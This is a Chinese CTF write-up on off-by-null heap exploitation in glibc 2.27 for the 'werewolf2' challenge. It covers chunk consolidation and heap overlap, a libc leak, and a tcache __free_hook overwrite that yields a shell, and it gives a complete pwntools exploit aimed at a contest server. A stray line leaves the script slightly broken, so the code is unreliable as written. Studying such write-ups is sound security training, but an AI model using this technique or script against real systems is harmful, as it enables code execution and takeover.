off by null 的一點心得
0x00
最近的一個比賽里有道off by null的題目,比較簡單,但對于off by null還是不熟悉,這里寫一下這題的wp和off by null的一些利用,
0x01 前置知識
off by null 本質上就是由于長度的檢查不嚴謹導致了一個空位元組的溢位造成的,通常我們會用它來構造Heap Overlap或是用來觸發unlink,
這些的前提是對于堆塊的合并有所了解,
向前合并與向后合并
先說向前合并
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
向前合并的檢查:當一個chunk被free時去檢查其物理相鄰后一個chunk(next chunk)的prev_inuse位,若為0則證明此塊已被free,若不是則將其prev_inuse位清0,執行free操作之后回傳,接下來要檢查nextchunk是不是top chunk 若是則和前一塊合并,若不是則進入向前合并的流程,
向前合并流程:
- 讓nextchunk進入unlink流程
- 給size加上nextsize(同理也是表示大小上兩個chunk已經合并了)
向后合并
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
先檢查當前堆塊的prev_inuse位是否清零,若是則進入向后合并的流程:
- 先把前一個堆塊的位置找到即p-p->prev_inuse
- 修改P -> size為P -> size + FD -> size(以此來表示size大小上已經合并)
- 讓FD進入unlink函式
通常我們會構造heap overlap去利用off by null
先介紹一下heap overlap
假設我們申請了三個堆塊
+++++++++++++++++++++++++++++++++++++++++++
| Chunk A | Chunk B | Chunk C |
+++++++++++++++++++++++++++++++++++++++++++
一定要申請以0x100整數倍大小的堆塊,例0xf8,這樣可以正好寫到下一個chunk的prev_inuse位,
先釋放chunkA,再釋放chunkB,此時觸發off by null修改chunkC的prev_inuse為前兩個堆塊大小的總和(包括chunk頭),接著釋放chunkC,此時因為向后合并會獲得一個大小為chunkA+chunkB+chunkC的堆塊,由于chunkB其實并不是free的,接著再把chunkB申請回來,這是我們就可以對chunkB進行任意構造了,
0x02 第三屆山東新一代資訊技術創新應用大賽 werewolf2
題目鏈接:鏈接
密碼: fi1b
增刪改查都有
存在off by null漏洞
且對于輸入的大小沒有過多檢查,
2.27的libc有tacahe保護所以我們一開始就申請大一些的堆塊來避免tacahe的麻煩,
先申請三個堆塊為heap overlap作準備
add(0x4f8,"0") #0 0x555555757360
add(0x1f8,"1") #1 0x555555757860
add(0x4f8,"2") #2 0x555555757a60
add(0x20,"/bin/sh\x00") #3 0x555555757f60 <-防止topchunk合并,為以后攻擊準備
釋放chunk0,因為這里有edit功能所以直接對chunk1修改觸發off by null,先用字符填滿0x1f0大小,之后將chunk2的prev_inuse位改成前倆個chunk大小之和即0x200+0x500,釋放chunk2,此時會得到一個大chunk包含了0,1,2chunk,
因為之前釋放的chunk0是unsorted bin狀態的所以有main_arena附近的指標現在把他申請回來,他會把main_arena的地址將會被推到Chunk 1的資料域,所以我們show(1)就把libc泄漏出來了,
free(0)
edit(1,"a"*0x1f0+p64(0x200+0x500))
free(2)
add(0x4f8,"aaa") #4
show(1)
ru("ion : ")
libc_base = u64(ru("\x0a\x3d")[:].ljust(8,"\x00")) -0x3ebca0
leak("libc_base",libc_base)
#gdb.attach(p)
sys = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak("sys",sys)
leak("free_hook",free_hook)
之后就是利用tacahe機制做double free 改free hook來get shell了
add(0x20, "11") #5
free(5)
edit(1, p64(free_hook))
gdb.attach(p)
add(0x20, "aaaa") #6
add(0x20, p64(sys)+'\n')
free(3)
完整exp:
from LibcSearcher import LibcSearcher
from sys import argv
from pwn import *
#p = process("/tmp/elf", env={"LD_PRELOAD":"/tmp/libc.so.6"})
#context.terminal = ['tmux', 'splitw', '-h']
return (system, binsh)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
#context.log_level = 'DEBUG'
context.terminal = ['terminator', '-x' ,'sh' , '-c']
local = 1
if local:
p = process('./werewolf2')
else:
p = remote("47.105.128.249",9998)
#libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(size,content):
p.sendlineafter('5.Exit\n',str(1))
p.sendlineafter('inputs your size:\n',str(size))
p.sendlineafter('Input your action:\n',content)
def show(id):
p.sendlineafter('5.Exit\n',str(2))
p.sendlineafter('Input your id\n',str(id))
def edit(id,content):
p.sendlineafter('5.Exit\n',str(3))
p.sendlineafter('Input your id\n',str(id))
p.sendlineafter('Input your new action\n',content)
def free(id):
p.sendlineafter('5.Exit\n',str(4))
p.sendlineafter('Input your id\n',str(id))
add(0x4f8,"0") #0 0x555555757360
add(0x1f8,"1") #1 0x555555757860
add(0x4f8,"2") #2 0x555555757a60
add(0x20,"/bin/sh\x00") #3 0x555555757f60
free(0)
edit(1,"a"*0x1f0+p64(0x200+0x500))
free(2)
#gdb.attach(p)
add(0x4f8,"aaa") #4
show(1)
ru("ion : ")
libc_base = u64(ru("\x0a\x3d")[:].ljust(8,"\x00")) -0x3ebca0
leak("libc_base",libc_base)
#gdb.attach(p)
sys = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak("sys",sys)
leak("free_hook",free_hook)
add(0x20, "11") #5
free(5)
edit(1, p64(free_hook))
gdb.attach(p)
add(0x20, "aaaa") #6
add(0x20, p64(sys)+'\n')
free(3)
p.interactive()
參考鏈接:https://www.anquanke.com/post/id/208407#h2-12
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/225798.html
標籤:其他
